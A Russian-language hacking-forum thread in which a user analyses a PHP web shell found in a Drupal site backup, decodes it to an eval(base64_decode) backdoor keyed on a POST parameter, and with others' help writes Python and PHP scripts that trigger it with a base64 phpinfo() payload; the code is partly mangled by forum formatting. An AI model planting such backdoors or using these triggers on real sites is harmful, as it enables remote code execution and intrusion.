ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   php-"вирус" в Друпале (https://forum.antichat.xyz/showthread.php?t=430690)

rct 25.09.2015 13:37

Нашел такой код

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =)

Получается вот такой код

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if

(isset([/COLOR][COLOR="#0000BB"]$POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]])) {

eval([/COLOR][COLOR="#0000BB"]$base64_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]]));

}[/COLOR][/COLOR

То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит

import requests

payload = {"n828e00" : "cGhwaW5mbygpOw=="}

r = requests.post("http://localhost/viros.php", params=payload)

Помогите разобраться как этот пхп работает

hesher 25.09.2015 15:51

Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] array(
[/
COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-type: application/x-www-form-urlencoded'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]http_build_query[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'cGhwaW5mbygpOw=='[/COLOR][COLOR="#007700"]))
)
)));[/
COLOR][/COLOR


rct 25.09.2015 16:01

Цитата:

Сообщение от hesher

Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] array(
[/
COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-type: application/x-www-form-urlencoded'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]http_build_query[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'cGhwaW5mbygpOw=='[/COLOR][COLOR="#007700"]))
)
)));[/
COLOR][/COLOR


Дело в том, что это не моё Я слил бэкап сайта, а сам шелл нашел случайно.

Я правильно понимаю что не рабоатает из-за eval($s21(${$s20}['n828e00'])); где ошибка именно в $s21 когда должно быть ${$s21} ?

grimnir 25.09.2015 16:15

http://somewebgeek.com/2014/wordpres...base64_decode/

http://mattgreensmith.net/2015/01/11...g-php-malware/

rct 25.09.2015 16:18

Ну я вообще первым делом гуглить пошел Просто не понимаю почему на локалхосте не работает.

rct 25.09.2015 16:22

Цитата:

Сообщение от hesher

Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] array(
[/
COLOR][COLOR="#DD0000"]'method'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'POST'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'header'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Content-type: application/x-www-form-urlencoded'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]http_build_query[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'n828e00'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'cGhwaW5mbygpOw=='[/COLOR][COLOR="#007700"]))
)
)));[/
COLOR][/COLOR


А вот этим скриптом всё отрабатывается. Проблема на моей стороне( Благодарю за помощь.


Время: 07:25